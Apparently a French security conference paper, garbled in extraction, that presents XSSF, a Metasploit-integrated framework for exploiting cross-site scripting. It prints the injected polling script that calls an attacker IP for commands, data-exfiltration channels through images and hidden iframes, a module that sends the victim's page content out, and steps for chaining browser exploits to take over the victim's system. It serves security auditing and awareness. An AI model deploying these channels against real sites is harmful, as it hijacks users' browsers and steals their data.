ndash Les attaques persistantes (stored XSS) bien que peu presentes (seulement25 de toutes les failles XSS) elles sont beaucoup plus puissantes que lesprecedentes dans le sens ou elles ne requierent aucune action particuliere de lapart de la victime Comme sur les XSS volatiles la vulnerabilite est due a unmanque de controles sur les donnees lors de leur traitement cote serveur et deleur affichage cote client Ce type drsquoattaque est present lorsqursquoil est possibledrsquoinserer du code dans une base de donnees ou dans un fichier lie a lrsquoapplicationrendant ainsi le code malicieux persistant De ce fait une simple visite sur lapage servira a declencher le script malicieux et ce sans que lrsquoattaquant nrsquoaitdrsquointeraction directe avec la victime Lrsquoattaque est frequemment rencontree surdes applications proposant des interactions entre les utilisateurs (forums blogsreseaux sociaux etc)

22 Portee et exploitation de la vulnerabilite

Grace a lrsquoAPI DOM 2 lrsquoinjection offre un acces en lecture et en ecriture a lrsquoen-semble de la page chargee du cote de la victime Il est donc possible en reecrivantla page de la detourner de son usage legitime afin par exemple de la rediriger versun site malicieux lui voler des informations sensibles lui faire executer des requetessans qursquoelle ne srsquoen rende compte etc

Les possibilites offertes par cet acces privilegie aux differents elements de la pagesont enormes si bien que Jeremiah Grossman [8] sous-titrait son livre sur les attaquesXSS en 2007 XSS is the new buffer overflow JavaScript Malware is the new shellcode Ce potentiel qursquoont les failles XSS est aussi du a la grande evolution descapacites du JavaScript au cours des dernieres annees En effet sa puissance permetdesormais de faire tourner des applications riches dans le navigateur web Nousciterons les exemples de Google Gears Google Documents EyeOS et bien drsquoautres

Lors drsquoune attaque applicative les privileges accordes a lrsquoattaquant sont ceuxaccordes au processus qui aura permis lrsquoexecution du code machine (le but etantdrsquoattaquer un processus avec des droits eleves) Pour ce qui est du XSS le processusici correspond a la page web donc a des privileges sur un domaine donne des cookiesetc Dans le meilleur des cas avec une attaque XSS simple lrsquoattaquant peutelever ses privileges afin de prendre le controle sur le navigateur

2 Document Object Model (httpwwwxulfrxml-domhtml)

L Courgnaud 305

Cependant il nrsquoest pas impossible de combiner le XSS avec drsquoautres attaquesciblant le navigateur lui-meme ou lrsquoun de ses greffons Decouverte recemment (22decembre 2010) une faille (de type 0 day 3) dans lrsquoimport de feuilles de styles (CSS)sur Internet Explorer (comme il en existe beaucoup sur drsquoautres navigateurs et leursgreffons) permet de prendre un controle total cette fois-ci non plus sur le navigateurmais sur le systeme de la victime Internet Explorer etant souvent utilise (parti-culierement en entreprise) lrsquoattaque couplee a une faille de type XSS sur des sites aforte audience peut avoir des effets devastateurs sur un nombre important de victimesLe XSS devient alors une porte drsquoentree vers de nombreuses autres attaques secon-daires tres puissantes et touchant un nombre de personnes relativement important(on peut imaginer les degats drsquoune vulnerabilite XSS sur Facebook couplee a unefaille 0 day sur lrsquoun des navigateurs )

Afin drsquoexploiter une vulnerabilite XSS avec des attaques complexes il est possiblede faire appel a des ressources externes (placees sur un serveur malicieux par exemple)plutot que drsquoinserer directement tout le code dans le champ affecte Crsquoest cettetechnique qui est utilisee dans la plupart des cas pour realiser des attaques etrecuperer des donnees sur un serveur tiers

23 Same-Origin Policy (SOP)

Face aux attaques complexes possibles on peut se demander pourquoi un scriptcharge depuis un domaine malicieux est autorise a interagir avec des elements situessur un domaine legitime vulnerable En fait dans la theorie ceci est impossible gracea la SOP ou Same-Origin Policy Quand on srsquointeresse aux vulnerabilites de typeXSS la SOP est lrsquoelement cense limiter la portee drsquoune attaque

Si lrsquoon en revient a une comparaison avec les failles applicatives la SOP est aux at-taques web ce que la DEP (Data Execution Prevention 4) ou encore a lrsquoASLR (AddressSpace Layout Randomization 5) sont aux attaques systemes Elle est implementeedans tous les navigateurs recents (depuis Netscape 20) et a pour but drsquoempecherlrsquoacces (lecture ecriture) a des ressources dont le serveur est different de celui dontprovient la page en cours Concernant les XSS cela signifie qursquoune vulnerabilite sur undomaine A ne permettra pas a partir du navigateur cible drsquoenvoyer ou de recupererdes informations depuis un domaine B (malicieux ou non) Le navigateur se charge decontroler les echanges avec des serveurs tiers lors de la navigation sur une application

3 Lorsqursquoun exploit est disponible avant la sortie du patch permettant de proteger lrsquoapplication4 httpenwikipediaorgwikiData_Execution_Prevention

5 httpfrwikipediaorgwikiAddress_space_layout_randomization

306 XSSF demontrer le danger des XSS

Dans la pratique un script malicieux ne pourra pas effectuer de requetes (GETPOST etc) vers un domaine different de celui qui est vulnerable (avec lrsquoobjetXMLHttpRequest 6 par exemple)

Lrsquoorigine est definie en fonction de trois parametres et deux ressources sont dites dememe origine si ces trois valeurs sont exactement les memes

ndash Le nom du domainendash Le protocole utilisendash Le port TCP utilise

On imagine alors lrsquoimportance de cette politique de securite dont le role estdrsquoempecher par exemple qursquoune vulnerabilite sur httpwwwfacebookcom per-mette a un attaquant drsquoaller recuperer des donnees sur httpwwwgmailcom (avecune session probablement laissee active)

En plus drsquoempecher la recuperation des donnees depuis drsquoautres domaines crsquoestgrace a cette politique que lrsquoattaquant va etre bloque srsquoil veut acceder au perimetrelocal de la victime (serveurs internes reseau Intranet etc) depuis une vulnerabilitesur un domaine public

URL demandee Resultat Raison

httpwwwvulnerablecompagehtml OK Meme domaine meme port(80) meme protocole (http)

httpwwwvulnerablecomotherhtml OK Meme domaine meme portmeme protocole

httpwwwvulnerablecom81otherhtml ERREUR Port different

httpswwwvulnerablecomotherhtml ERREUR Protocole different

httpwwwgmailcomindexhtml ERREUR Domaine different

httpXXXYpagehtml ERREUR Domaine different

Table 1 Possibilites de chargement de ressources pour un script malicieux se trouvantsur http wwwvulnerablecomsearchphp (XXXX)

Cependant et heureusement pour la suite du projet XSSF il existe quelquespasse-droits a cette regle de securite tels que les IFRAMES ou le chargement deressources distantes Pour les objets de type JavaScript par exemple (ltscriptgt) il

6 httpfrwikipediaorgwikiXMLHttpRequest

L Courgnaud 307

est tout a fait possible de charger une ressource drsquoun domaine malicieux B depuis undomaine vulnerable A

Figure 1 Acces direct a une ressource JavaScript

De la meme maniere il est possible de charger des ressources avec les objets detype image CSS etc En revanche bien que lrsquoon puisse charger une page ou executerdu code avec un objet de script distant il sera impossible drsquoacceder (en JavaScript)au contenu retourne Crsquoest le meme principe pour les IFRAMES toujours a causede la SOP Les IFRAMES quant a elles seront tres utiles par exemple pour realiserun POST de maniere invisible vers un serveur distant controle par lrsquoattaquant ounon controle (sur une application tierce vulnerable aux attaques de type CSRF 7 parexemple)

Nous verrons dans le chapitre de presentation de XSSF les differentes faconsutilisees pour contourner le probleme de la Same-Origin Policy politique qui acependant beaucoup de soucis a se faire avec la venue drsquoun nouvel element

24 Arrivee du HTML5 tous aux abris

Bien que les specifications pour ce nouveau standard ne soient pas encore completementdefinies la majorite des navigateurs actuels ont drsquoores et deja commence a suppor-ter cette nouvelle revision du HTML La cloture de lrsquoajout de fonctionnalite pour

7 Cross-Site Request Forgery httpfrwikipediaorgwikiCross-site_request_forgery

308 XSSF demontrer le danger des XSS

ce nouveau standard est prevue pour le 22 mai 2011 et les specifications serontcompletement terminees en 2014

Le HTML5 ne vient pas faciliter le travail de protection contre les failles XSSmais pire encore il elargit la portee des attaques et oblige les developpeurs a reparerdu code deja considere comme sur

Le premier point est lrsquoarrivee de nouvelles balises HTML (ltaudiogt ltvideogt etc)et evenements JavaScript (oncanload etc) qui vont venir ajouter de la complexite acertains filtres deja en place sur de nombreuses applications On peut citer lrsquoexempledes e-mails qui acceptent souvent du code HTML dans leur contenu (images pucesetc) en utilisant des filtres afin drsquoeviter les XSS Lrsquoarrivee de ces nouveaux elementsoblige a remettre a jour ces filtres XSS rendus inefficaces avec lrsquoarrivee du HTML5La page HTML5 Security Cheatsheet 8 montre les differents ajouts pouvant poserde nouveaux problemes et les facons de rendre lrsquoapplication sure a nouveau

Le second point probablement le plus important est lrsquointroduction du partagede ressources entre domaines (Cross-Origin Resource Sharing) En drsquoautres termesle navigateur peut etre autorise a effectuer des requetes AJAX entre des domainesdifferents contournant ainsi la SOP Ceci est rendu possible grace a lrsquoajout de nou-velles entetes HTTP par le serveur autorisant ou non chaque domaine distant aexecuter la requete Ainsi un domaine A pourra charger ou modifier une ressource(GET POST etc) sur un domaine B si celui-ci lrsquoautorise

Cette technique a servi a demontrer une nouvelle XSS sur lrsquointerface web IPhone deFacebook dont le parametre profilephp dans lrsquoURL httptouchfacebook

comprofilephp permettait de charger une page dynamiquement (AJAX - XMLHtt-pRequest) a lrsquointerieur drsquoune balise div Auparavant les developpeurs nrsquoavaientpas reellement a se soucier de la page chargee puisque le navigateur aurait par exempleinterdit le chargement de httpremote-servermaliciousphp (SOP do-maine different)

Grace au HTML5 le chargement est desormais possible si le domaine remo-

te-server lrsquoautorise Il lui suffit drsquoutiliser les nouvelles entetes HTTP afin de rendrepossible la discussion entre les deux domaines

ltphp

Domaines autorises

header(rsquoAccess -Control -Allow -Origin http touchfacebookcomrsquo)

Methodes autorises

header(rsquoAccess -Control -Allow -Methods GET POST OPTIONS rsquo)

8 httpheiderichjso

L Courgnaud 309

gt

lt-- Code HTML JavaScript malicieux --gt

Ainsi le navigateur est autorise a charger la ressource malicieuse vers http

touchfacebookcom rendant toutes sortes drsquoattaques possibles (le code etantplace dans une balise div il a un acces total a la page)

Cependant il ne sera pas possible depuis un site web malicieux de charger uneressource drsquoun domaine qui nrsquoa pas donne son autorisation sauf en cas de mauvaisesconfigurations (entetes Access-Control definies a par exemple etc)

Dans notre cas cette technique peut simplifier la recuperation de donnees sur leserveur drsquoattaque depuis le serveur vulnerable (en configurant les entetes renvoyeespar notre serveur)

25 Attaques XSS connues et consequences

Au fil des annees de tres grandes attaques XSS ont ete menees grace a des XSSpersistantes et volatiles

Les volatiles bien que plus nombreuses sont les moins simples a utiliser pourrealiser une attaque de masse En effet elles impliquent une mise en confiance desutilisateurs afin de les amener a cliquer sur un lien malicieux Ce type drsquoattaque estsouvent lie a un envoi en masse de courriels avec du contenu legitime du moins apremiere vue Cela permet drsquoatteindre un grand nombre de victimes en meme tempsmais lrsquoattaquant ne peut jamais etre sur qursquoune personne va suivre le lien contraire-ment aux attaques persistantes qui elles ne requierent aucune action particuliere

Les attaques par XSS persistantes ont souvent pris la forme de vers afin de sepropager et drsquoatteindre le plus de personnes possibles Les plus importantes ont eulieu sur les plus grands reseaux sociaux (Facebook MySpace Hi5 etc) et ont toutespermis drsquoatteindre un nombre enorme de cibles en un temps tres court

Il existe de nombreux cas de vers XSS ou drsquoattaques XSS connues mais ce qursquoilfaut retenir est la puissance de telles attaques en termes de nombre de victimesdans un espace de temps tres court Les attaques XSS reposent en grande partie surla confiance des utilisateurs envers une application qui acceptent generalement lesactions realisees depuis des sites qursquoils considerent comme de confiance

310 XSSF demontrer le danger des XSS

3 XSS Framework (XSSF)

Apres avoir parle des possibilites offertes par les XSS nous allons desormaispouvoir rentrer dans le vif du sujet et detailler le fonctionnement du framework XSSFa lrsquointerieur de MSF

Lors du lancement du projet XSSF quelques outils existaient deja avec chacunleurs avantages et inconvenients (voir chapitre 39) La raison principale de realiserun framework supplementaire etait vraiment drsquoune part lrsquointegration dans MSF (tresutilise par les auditeurs) et drsquoautre part lrsquoajout de nombreuses fonctionnalites parrapport a lrsquoexistant

31 Metasploit Framework (MSF)

Metasploit est un projet open-source lie a la securite informatique qui fournitdes informations sur les nouvelles vulnerabilites aide a la penetration de systemesinformatiques et au developpement de signatures pour les IDS 9

Metasploit Framework (MSF) est le plus connu des sous-projets de Metasploit etsert pour le developpement et lrsquoexecution drsquoexploits contre une machine (locale oudistante)

Il peut etre utilise par des auditeurs pour tester le niveau de vulnerabilite decertains systemes afin de mieux les proteger par des pirates afin drsquoexploiter desmachines distantes ou a des fins drsquoeducation

Initialement developpe en langage Perl a sa sortie en 2003 MSF a ete complete-ment reecrit depuis sa version 30 (actuellement 360) en langage Ruby Les raisonsde ce changement sont assez diverses les plus importantes etant le fait de permettrela programmation par classes et modules ainsi que lrsquoexistence drsquoun interpreteur natifRuby sur la plate-forme Windows

Lrsquointeret principal drsquoun framework pour le projet XSSF est de pouvoir reutilisersimplement beaucoup de morceaux de codes et ne pas avoir a les re-implementerpour chaque module (sockets serveurs systemes de connexions etc) De plus MSFfonctionne sur toutes les versions de Linux Mac OS X Unix et sur Windows en

9 Un systeme de detection drsquointrusion (Intrusion Detection System) est un mecanisme destine a repererdes activites anormales ou suspectes sur un reseau (Wikipedia)

L Courgnaud 311

utilisant Cygwin (emulateur de systeme UNIX)

Enfin Metasploit Framework ayant emerge en tant que plate-forme de deve-loppement dans la securite informatique la publication drsquoune vulnerabilite logicielleest desormais souvent accompagnee drsquoun module drsquoexploitation pour Metasploit

32 Integration dans MSF

Avant de se pencher sur la partie de la construction du framework il a deja falludefinir comment lrsquoinserer dans MSF Apres avoir etudie les differentes parties lasolution qui a ete retenue est celle illustree en figure 2

Figure 2 Architecture de MSF avec XSSF

Lrsquoarchitecture du projet XSSF est la meme que celle de MSF dans le but drsquouneintegration officielle Nous noterons qursquoil nrsquoy a eu aucune modification des fichiersdeja existants pour lrsquoajout de XSSF

La partie MSF Core voit donc lrsquoapparition de nouveaux fichiers afin drsquoy integrerles fichiers de definition des tables de base de donnees necessaires au fonctionnementde XSSF

Ensuite la partie des fichiers du noyau du framework srsquoinsere dans MSF Base Celle-ci doit permettre lrsquointeraction avec la base de donnees et doit proposer unserveur web capable drsquointeragir avec toutes les victimes en meme temps Le noyaupropose aussi lrsquointegration de nouveaux modules drsquoattaques dans MSF ceux de type Auxiliary Ces modules peuvent etre rajoutes simplement par nrsquoimporte qui etchaque module correspondra a une attaque On retrouve par exemple un module de

312 XSSF demontrer le danger des XSS

tabnapping 10 un module de vol de fichiers sur Android etc

Enfin le nouveau plugin XSSF est integre au famework proposant ainsi de nou-velles commandes dans Metasploit Framework

Tous ces elements ajoutes vont permettre drsquointegrer XSSF dans MSF et de le fairefonctionner

Une fois Metasploit lance par lrsquoattaquant et plus particulierement le nouveauplugin XSSF un serveur drsquoattaque principal sera demarre Ce serveur a pour but defaire le lien avec

ndash toutes les victimes actives il doit permettre de garder un lien entre les victimeset lrsquoattaquant

ndash la base de donnees contenant des informations sur les victimes et les attaquesde chacune

ndash les differents modules drsquoattaques lances (exploits Metasploit ou attaques XSSF) ndash lrsquoattaquant qui doit pouvoir interagir avec le tout

Figure 3 Fonctionnement et architecture de XSSF

10 httpblogsorange-businesscomsecurite201005tabnapping-le-phishing-via-onglets-de-navigation

html

L Courgnaud 313

Sur le schema on remarque plusieurs details Premierement le lancement drsquounexploit Metasploit sur un navigateur (ou plugin du navigateur) ainsi que celui drsquouneattaque XSSF entraine le lancement drsquoun serveur web en interne (et le lancementdrsquoun job au sens Metasploit) Enfin les victimes nrsquoont pas connaissance desdifferents serveurs drsquoattaques elles connaissent juste lrsquoadresse du serveur principalqursquoelles doivent contacter (principe de serveur maıtre et esclaves) Lrsquoattaquant luiest capable drsquoobserver les victimes et de lancer des attaques ciblees ou collectives parlrsquointermediaire du plugin XSSF

Maintenant que nous avons vu la presentation generale de lrsquoarchitecture de XSSFnous allons pouvoir detailler la maniere dont sont gerees les victimes et par quelsmoyens il est possible de ne pas avoir a se soucier de la Same-Origin Policy

33 Injection XSS et victimes

Desormais nous savons que le lancement du plugin XSSF entraine le lancementdrsquoun serveur principal drsquoattaque sur lrsquoIP locale et sur le port choisi par lrsquoattaquant(8888 par defaut)

Figure 4 Lancement de XSSF sur le port 80

Afin de regrouper les differentes victimes au sein drsquoun meme reseau il estnecessaire de realiser une injection generique sur lrsquoapplication vulnerable Cetteinjection doit faire appel a la ressource loop sur le serveur (quel qursquoen soit lemoyen) et renvoie le code suivant (partie GET simplifiee presentee ici)

function XSSF_EXECUTE_LOOP ()

script = documentcreateElement(rsquoscript rsquo) scriptid = XSSF_CODE

scriptsrc = http 101003624580 asklocation= + windowlocation + amp

id=5amp time= + escape(new Date()getTime ())

314 XSSF demontrer le danger des XSS

documentbodyappendChild(script)

victim_loop = setInterval(executeCode 5 1000)

Lors drsquoune nouvelle demande de la ressource loop une nouvelle victime estcreee cote serveur et lrsquoidentifiant est insere dans son cookie Crsquoest comme cela qursquoelleest ensuite reconnue par le serveur drsquoattaque XSSF lorsqursquoelle effectue une requete

Un identifiant de secours est insere dans les requetes ask et an-

swer afin de pouvoir quand meme gerer (dans la plupart des cas) les victimesnrsquoacceptant pas les cookies

Dans le code on peut srsquoapercevoir que la victime execute une fonction toutes les5 secondes Celle-ci a pour but drsquoaller chercher du contenu sur le serveur drsquoattaque etde lrsquoinserer dans une balise de script Le delai peut etre change par lrsquoattaquant lorsde lrsquoinjection dans la XSS (http101003624580loopinterval=x avec x lenombre de secondes entre chaque demande de commandes)

Comme nous lrsquoavons vu precedemment la SOP ne bloquant pas le contenu chargea partir drsquoune balise de script ou drsquoimage nous pouvons creer un canal avec la victimeLe serveur ne pourra jamais rien lui demander (car la victime nrsquoest pas un serveur ) mais en revanche rien nrsquoempeche la victime de demander des donnees au serveuret crsquoest ce qui se passe ici On remarquera lrsquourl rsquoaskrsquo qui sert donc a demander si denouvelles commandes sont disponibles et qui prend trois parametres (facultatifs) lrsquoun servant a localiser la victime un autre permettant de recharger le script et dene pas le prendre dans le cache (comme le fait IE entre autres) et le dernier etantlrsquoidentifiant de secours

Le lien etant en place ce seul morceau de code cote client sert a faire fonctionnerle framework Bien sur la ressource chargee lors de la requete ask est forcementun script mais ce script peut par exemple nous permettre de charger une autreressource nrsquoetant pas de type script (IFRAME IMG etc) La gestion de la facondont sont chargees les ressources est faite cote serveur et lrsquoattaquant nrsquoa pas a laconnaitre pour coder ses modules Nous verrons dans la partie suivante que tous lestypes de ressources peuvent etre envoyes par le serveur drsquoattaque

Bien que fonctionnel le framework serait peu utile srsquoil nrsquoetait pas possible derecevoir des reponses de la part des victimes (reponses a des attaques) Toujours acause de la SOP il est impossible drsquoutiliser un objet de type XMLHttpRequest afinde realiser un simple POST Ajax par exemple

L Courgnaud 315

Cependant il existe differentes techniques pour contourner ce probleme

A Utilisation de balises acceptant un champs src ces balises etant autorises parla SOP nous pouvons tres bien imaginer de charger une image avec ltimg20src=

http1010036245bypassjpgreponse=xxxgt Il est ainsi possible derecuperer une reponse cote serveur Utilisee dans BeEF et tres connue cettetechnique possede une tres grande limite la taille de la reponse ne pourra pasexceder la taille maximum autorisee pour les URL La RFC ne definit pas detaille limite pour la longueur drsquoune URL cependant chaque navigateur peut enimplementer une (2083 caracteres pour IE par exemple) De plus les librairiesRuby embarquees supportent mal la gestion de donnees importantes en GET (ge1Mo)

B Utilisation drsquoun formulaire ( ltFORMgt ) a lrsquointerieur drsquoune IFRAME invisibleafin de realiser un POST vers XSSF Cette solution permet drsquoenvoyer un grandnombre de donnees Seul bemol au choix de cette technique lrsquoutilisation sur undomaine en HTTPS En effet la plupart des navigateurs avertiront lrsquoutilisateur dupassage de donnees en clair vers un serveur tiers Dans le cas drsquoune exploitationsur un domaine HTTPS il est possible par cette technique que la victime se rendecompte de la recuperation de donnees vers un serveur malicieux

C Mise a profit des nouveaux elements de partage de ressources entre domaines offertspar le HTML5 Grace a eux il sera possible de realiser un POST simplementen AJAX en utilisant lrsquoobjet XMLHttpRequest (ou XDomainRequest sur IE)Lrsquoavantage est que les donnees transferees peuvent avoir une taille importanteet que lrsquoutilisateur ne sera pas averti de lrsquoechange de donnees (en HTTP commeen HTTPS) Lrsquoinconvenient majeur a cette solution est qursquoelle est seulementcompatible avec les dernieres versions des navigateurs actuels (celles supportantla fonctionnalite de Cross-Origin Resource Sharing (C-ORS) )

HTTP HTTPS

SO

LU

TIO

NB

Co

mpa

tibl

eto

us

na

viga

teu

rs

C-ORS SUPPORTE C-ORS NON SUPPORTE

SOLUTION CIE 8+ FF 35+ Safari 4+

Chrome Android Browser 21+iOS Safari 32+

SOLUTION BoplusUtilisateur probablement averti oplus

IE 7- FF 3- Safari 32-Opera

Table 2 Solution retenue pour le retour des donnees depuis la victime vers XSSF

316 XSSF demontrer le danger des XSS

La solution actuellement mise en place permet un fonctionnement des echangesdans la majorite des cas Bien entendu cette solution ne concerne que les donneesenvoyees depuis les victimes vers le serveur drsquoattaque Ce choix ne remet pas en causela possibilite drsquoutilisation des attaques ne necessitant pas de reponse (quelque soit lenavigateur) En effet comme nous lrsquoavons vu precedemment lrsquoenvoi des attaques sefait avec la solution A compatible avec tous les navigateurs

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT

Lancement de Metasploit

Lancement de XSSF

Deacutemarrage du serveur maicirctre XSSF (IP XXXXY)

Injection du script malicieux (ltscript src=httpXXXXYloopinterval=3gt

Connexion agrave lapplication

Appel du fichier loop

Enregistrement dune nouvelle victime

Envoi du fichier loop (JavaScript)

Mise en attente 3 secondes

Demande de code agrave exeacutecuter

Mise en attente 3 secondes

Mise en attente dun eacutevegravenement (code) pour la victime

Recherche de code pour la victime

Demande de code agrave exeacutecuter

Recherche de code pour la victime

404 No code

200 Envoi du code agrave exeacutecuter

Exeacutecution du code partie client

Envoi des reacutesultats (facultatif)

Sauvegarde des reacutesultats

Demande des reacutesultats dattaques (logs)

Geacuteneacuteration des logs

Affichage des logs et statistiques en temps reacuteel

Mise en attente 3 secondes

200 OK

Figure 5 Fonctionnement de XSSF

L Courgnaud 317

En plus de la boucle permettant de recuperer des attaques le code envoye lors dela demande de la ressource rsquolooprsquo comprend donc une bibliotheque de fonctions quelrsquoattaquant pourra utiliser dans ses modules drsquoattaques notamment une fonction derecuperation de donnees Bien entendu grace a la gestion des attaques par le noyauXSSF un attaquant pourra utiliser les fonctions fournies par le framework drsquoou il lesouhaite meme a lrsquointerieur drsquoIFRAMES qursquoil aura cree (le framework se charge derajouter a la volee la bibliotheque de fonctions lors de lrsquoarrivee des donnees depuis unserveur esclave)

Ainsi nous avons donc bien reussi a realiser les GET et POST necessaires et cemalgre la SOP Le canal de communication avec la victime est donc bi-directionnel la victime peut demander des commandes et repondre au serveur dans la majoritedes cas La recuperation de donnees reste cependant limitee (pour le moment) lorsquela victime utilise un navigateur ancien sur un domaine en HTTPS

34 Attaques XSSF

Maintenant que nous avons detaille le fonctionnement general de XSSF nousallons pouvoir expliquer les possibilites offertes par chaque module drsquoattaque Ceux-ciservent a realiser une attaque directement liee a une faille XSS (souvent en JavaScript)Ils doivent pouvoir etre implementes par nrsquoimporte qui facilement et sans avoir aconnaitre le fonctionnement du noyau de XSSF

Un module XSSF est compose de deux grandes parties

Lrsquoinitialisation permet de definir les informations et parametres du module a insererdans Metasploit lors de son utilisation

Le serveur web defini les actions a realiser par le serveur esclave lorsqursquoil recoitune requete (depuis le serveur maıtre)

class Metasploit3 lt Msf Auxiliary

include MsfXssf XssfServer

Module initialization

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoWebPage Saver rsquo

rsquoDescription rsquo =gt rsquoSaves current page viewed by the victim rsquo

))

end

318 XSSF demontrer le danger des XSS

Part sent to the victim insert your code here

def on_request_uri(cli req)

send_response(cli Q XSSF_POST(documentdocumentElementinnerHTML

rsquoselfnamersquo) )

end

end

Sur cet exemple nous retrouvons bien les deux parties Lrsquoinclusion au depart de XssfServer permet de charger le module (au sens Ruby) de gestion des serveursesclaves (ce module implemente un module de serveurs drsquoattaques deja fourni parMSF pour les exploits)

Lrsquoinitialisation du module permet de redefinir des informations propres (nom etc)mais aussi drsquoen rajouter Toutes ces informations et options sont automatiquementstockees dans un objet datastore defini par Metasploit Dans XssfServer desinformations par defaut pour tous les modules lrsquoimplementant sont deja definies

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoXSSF MODULE rsquo

rsquoDescription rsquo =gt rsquoXSSF MODULE rsquo

rsquoAuthor rsquo =gt rsquoConix Security rsquo

rsquoLicense rsquo =gt MSF_LICENSE

))

register_options(

[

OptStringnew(rsquoVictimIDs rsquo [false rsquoIDs of the victims to send code

Examples 1 3-5 ALL NONErsquo rsquoALLrsquo])

] MsfXssf XssfServer

)

deregister_options(rsquoSSLrsquo rsquoSSLVersion rsquo)

end

On trouve une option rajoutee qui permet lors de lrsquoutilisation drsquoun moduleimplementant XssfServer de specifier la liste des victimes a attaquer (toutes pardefaut)

Ensuite on trouve dans chaque module XSSF la methode on request uri definie par XssfServer comme celle etant appelee a chaque nouvelle requete versun serveur esclave Elle prend en parametres le client (au sens socket) et la requeteeffectuee Comme nous lrsquoavons vu precedemment le client sera en fait le serveur

L Courgnaud 319

maıtre (jouant un role de proxy entre les victimes et les serveurs esclaves)

Cette methode permet de renvoyer une reponse au client par lrsquointermediaire de lafonction send response qui prend deux parametres obligatoires (client et coderenvoye) et un parametre facultatif (entetes HTTP) Le code construit est une chaınequi peut contenir directement du JavaScript ou du code HTML Crsquoest ensuite leserveur maıtre qui fera la difference entre les deux Dans tous les cas la reponseenvoyee a la victime sera un script si le code attendu est du HTML le serveur maıtrese chargera de creer une IFRAME en JavaScript afin drsquoy inserer le code On constateaussi lrsquoutilisation de la fonction POST qui permettra de renvoyer une reponse vers leserveur drsquoattaque Ici aussi crsquoest le serveur maıtre qui va permettre lrsquoacces a cettefonction depuis nrsquoimporte ou en toute transparence pour la victime et la personnecreant le module

Bien entendu chaque module peut faire appel a des ressources supplementairesLorsque la victime demandera a nouveau la ressource au serveur maıtre si la ressourceest un fichier connu (les fichiers XSSF ndash images pdf etc ndash sont stockes dans unrepertoire defini) il la renverra directement sinon il la demandera automatiquementau serveur esclave associe a la victime (si elle est en cours drsquoattaque)

Au fil du temps chaque victime peut recevoir autant drsquoattaques que lrsquoattaquant ledesire mais seulement une seule a la fois En revanche plusieurs attaques differentessur des victimes distinctes peuvent avoir lieu en meme temps (drsquoou lrsquointeret de lesidentifier) Chaque victime dispose drsquoune file drsquoattente en base de donnees pourrecuperer ses attaques une par une

Lrsquoutilisation drsquoun module XSSF se fait exactement de la meme maniere que pourles modules MSF (avec la commande use ) Il en est de meme pour le lancementdrsquoun module (commandes run exploit ou exploit -j pour lancer lemodule en tache de fond)

On constate donc bien ici le lancement de lrsquoattaque save page sur la victime5 Lorsqursquoelle demandera si une attaque lui est destinee le serveur maıtre contacterale serveur esclave lance afin de recuperer le code a envoyer

Cote victime apres la reception du javascript loop initial une page drsquoerreur404 (Not Found) est renvoyee signe que le serveur maıtre nrsquoa aucune attaque pour lemoment Lorsque lrsquoon execute le module decrit precedemment le code est envoye a la

320 XSSF demontrer le danger des XSS

Figure 6 Execution drsquoune attaque XSSF sur les victimes actives

Figure 7 Execution drsquoune attaque cote victime

victime qui peut lrsquoexecuter

Bien entendu comme pour chaque module Metasploit les informations des mo-dules XSSF sont disponibles dans la console On retrouve les parametres propres aumodule (aucun dans le cas present) ceux herites du module XssfServer (Victi-mIDs) et ceux herites de MSF (le reste)

Afin drsquoillustrer le plus simplement possible le fonctionnement drsquoun module drsquoat-taque XSSF lrsquoexemple montre ici est des plus triviaux Beaucoup drsquoautres modulesdrsquoattaques sont presents le but etant drsquoamener la communaute a participer afin decreer des scenarios drsquoattaques interessants pour faire prendre conscience des possibilitesoffertes par les XSS et surtout de leur simplicite drsquoexploitation

35 Exploits MSF depuis XSSF

Afin de rendre ce framework XSS le plus complet possible et de lrsquointegrer totale-ment a MSF il est important drsquoavoir la possibilite de lancer des exploits MSF depuis

L Courgnaud 321

une vulnerabilite XSS Bien evidemment les exploits possibles sont ceux destines auxdifferents navigateurs

Le fonctionnement est relativement simple puisqursquoil suffit de lancer un exploit enprecisant qursquoil doit se lancer en tache de fond

Tous les modules lances en tache de fond sont consideres comme etant des jobs par Metasploit

Figure 8 Modules lances en tache de fond sur Metasploit

Le lancement de lrsquoattaque avec la commande xssf exploit [VictimIDs]

[JobID] entraıne la mise en attente drsquoune nouvelle attaque pour la ou les vic-time(s) choisie(s)

Figure 9 Lancement drsquoun exploit MSF sur une victime choisie avec XSSF

Ici le code sera donc bien renvoye a la victime lorsque celle-ci en fera la demandeA la suite de lrsquoexecution du code une session sera disponible et la prise de controleest effectuee avec une simple XSS ciblee

Une fois de plus crsquoest le serveur maıtre qui va gerer la facon dont sont charges lesmodules cote victime (gestion de jeux drsquoIFRAMES de scripts etc) Tous les modulesMetasploit peuvent donc etre utilises avec XSSF Ainsi une simple injection de scriptgenerique ( loop ) pourra entraıner lrsquoexecution de nrsquoimporte quelle attaque XSSFou exploit MSF sur nrsquoimporte quelle victime

322 XSSF demontrer le danger des XSS

36 Automatisation des attaques

Il est possible grace au framework XSS drsquoautomatiser les attaques a lancer Cecipermet de placer automatiquement une liste drsquoattaques dans la file drsquoattente de toutesles nouvelles victimes Lrsquoattaquant nrsquoa ainsi pas a lancer les attaques a chaque foispour une victime ou un groupe de nouvelles victimes

Les attaques automatiques peuvent etre de nrsquoimporte quel type (XSSF ou exploitMSF) et les modules correspondants doivent etre lances en tache de fond avant deles rajouter en attaque automatique

37 Fiabilisation des attaques

Comme pour les attaques applicatives il est important de fiabiliser une attaqueXSS afin de garder une connexion avec la victime apres son depart de la pagevulnerable Ce maintien de la connexion nrsquoest pas assure par le framework mais parses modules Pour le moment il existe un seul module de fiabilisation (ghostifyrb)mais de nouveaux peuvent venir se rajouter Celui actuellement present permetdrsquoanalyser la page afin de remplacer les hyperliens de type ltagt et de rajouterune fonction lors drsquoun clic Ainsi lorsque lrsquoutilisateur quitte la page en suivant unlien une fenetre (de petite taille) est ouverte et placee en arriere plan permettant degarder lrsquoutilisateur sur la page malicieuse

On peut imaginer drsquoautres modules de ce type avec par exemple un modulepermettant de recharger la page actuelle dans une IFRAME afin de toujours garderlrsquoutilisateur sur le meme domaine

38 Resultats et statistiques drsquoattaques

Figure 10 Page HTML de resultats drsquoattaques

Enfin pour venir completer lrsquoutilisation du framework lrsquoimportation des resultatset statistiques drsquoattaques est rendue possible grace a la commande xssf import attacks

L Courgnaud 323

Figure 11 Statistiques drsquoattaques en temps reel

